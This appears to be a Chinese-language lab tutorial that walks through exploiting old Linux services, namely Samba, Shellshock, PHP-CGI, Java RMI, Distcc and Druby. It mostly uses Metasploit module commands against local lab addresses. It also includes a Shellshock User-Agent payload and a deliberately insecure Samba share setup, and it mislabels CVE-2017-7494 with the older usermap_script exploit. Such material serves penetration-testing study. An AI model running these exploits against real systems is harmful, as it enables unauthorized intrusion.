据我所知,Linux因为开源的原因,不论是性能还是安全都是足够强大的。这里就尽我所能写一下自己所知道的漏洞吧。
CVE-2017-7494 (linux samba漏洞,139和445端口)、 CVE-2014-6271(bash shellshock破壳)、PHP cgi、cve-2013-0422(Java RMI SERVER 命令执行漏洞与java,1099端口)、CVE-2004-2678、OSVDB-13378(Distcc后门漏洞)、Druby命令执行(8787端口)
samba漏洞
Samba是在Linux和UNIX系统上实现SMB协议的一个免费软件,由服务器及客户端程序构成,samba服务对应的端口有139、445等等
1、首先要扫描目标主机上开放的端口和服务,用nmap,命令如下:
nmap -sS -Pn -A 192.168.17.72
2、发现主机上开放的139,445端口之后,说明该主机有可能存在samba服务远程溢出漏洞,尝试通过该端口建立一个meterpreter 会话,需要用到metasploit.
CVE2017-7494测试
漏洞编号:CVE-2017-7494
漏洞等级:严重
影响版本:漏洞影响了Samba 3.5.0 之后的版本,不包含4.6.4/4.5.10/4.4.14
靶机samba漏洞配置
samba -v查看版本
vi /etc/samba/smb.conf
#======================= Share Definitions ======================= [public] comment = public browseable = yes writeable =yes path = /tmp/public public = yes read only = no
(公用)
注释=公共
可浏览= yes
可写= yes
= / tmp /公共道路
公共= yes
只读=不
创建共享目录 root@kali:~# mkdir /tmp/public 修改读写执行权限 root@kali:~# chmod 777 /tmp/public
Kali Linux 2017 重启/启动Samba服务
重启samba服务 root@kali:~# /etc/init.d/samba restart 查看samba进程 root@kali:~# ps aux | grep samba 查看samba端口状态(默认采用139和445端口) root@kali:~# netstat -tnlp samba
MSF渗透测试
1、打开metasploit之后需要先判断samba的版本,命令如下:
msf> search scanner/samba
这条命令用来查找samba相关exploit参数
2、然后使用如下命令来定义要扫描samba的版本所用到的exploits参数。
msf> use auxiliary/scanner/smb/smb_version msfauxiliary(smb_version) > set RHOSTS 192.168.0.102
ps:poc可能会存在64位和32位之分,所以可以添加一下操作
set target 3
set rhosts rport139,445
ps:payload和端口其实已经自动设置
这条命令定义你将要扫描samba版本的远程主机的IP地址.
3、开始漏洞利用
exploit
该命令将开始漏洞利用
4、发现samba版本之后,我们需要进一步利用来入侵进入到远程linux主机
msf> use exploit/multi/samba/usermap_script msf exploit(usermap_script) > set RHOST 192.168.0.102 msf exploit(usermap_script) > exploit
执行完成以上命令如图所示,成功创建了shell 会话.
metepreter渗透后操作
这里就不讲了,可查看msf篇
bash破壳漏洞
CVE-2014-6271(破壳)
Shellshock的原理是利用了Bash在导入环境变量函数时候的漏洞,启动Bash的时候,它不但会导入这个函数,而且也会把函数定义后面的命令执行。在有些CGI脚本的设计中,数据是通过环境变量来传递的,这样就给了数据提供者利用Shellshock漏洞的机会。
简单来说就是由于服务器的cgi脚本调用了bash命令,由于bash版本过低,攻击者把有害数据写入环境变量,传到服务器端,触发服务器运行Bash脚本,完成攻击。
对方web站点使用了cgi的表现:www.xxx.com/cgi-xxx/xxx
起始,cgi的漏洞远不止此!
开始渗透测试
burpsuit漏洞验证
将user-agent头改为:() { :;};echo ; echo;echo $(/bin/ls -al /flag /);
kali系统漏洞验证
由于kali中的msf关于这个漏洞没做好,不太方便,就不演示了。
cd /usr/bin/
cd /usr/lib/cgi-bin/
vim hole.sh(编写脚本)
msf测试:
set TARGETURL 网站路径
CVE2012-1823(phpCGI漏洞)
phpinfo()查看:
可以看出,系统中API开启了CGI/FastCGI。那么就有可能存在phpCGI漏洞了
开始kali攻击(照旧)
msf > search cve:2012-1823 msf > use exploit/multi/http/php_cgi_arg_injection msf exploit(php_cgi_arg_injection) > show options msf exploit(php_cgi_arg_injection) > set rhost 192.168.0.102 rhost => 192.168.0.102 msf exploit(php_cgi_arg_injection) > run
CVE2013-0422(Java RMI SERVER 命令执行漏洞与java)
Java RMI SERVER 的 RMI 注册表和 RMI 激活服务的默认配置存在安全漏洞,导致代码执行。
利用步骤:
nmap -p 0-65535 IP ,查看1099端口是否开启 use exploit/multi/misc/java_rmi_server set RHOST IP exploit shell(进入meterpreter 时执行)
Distcc后门漏洞
安全组织索引:CVE-2004-2678、OSVDB-13378
该漏洞在国内不常见
原理:
Distcc用于大量代码在网络服务器上的分布式编译,但是如果配置不严格,容易被滥用执行命令,该漏洞是Xcode 1.5版本及其他版本的 distcc 2.x版本配置对于服务器端口的访问不限制
利用步骤:
启动metasploit use exploit/unix/misc/distcc_exec set RHOST IP exploit id 查看权限 uname -a 验证
Druby命令执行(8787)
Druby配置不当,被滥用执行命令
利用步骤:
启动metasploit 发现8787 Druby端口 search drb 搜索drb相关漏洞 use exploit/linux/misc/drb_remote_codeexec set URL druby:IP:8787 ,设置目标druby链接 exploit id,uname -a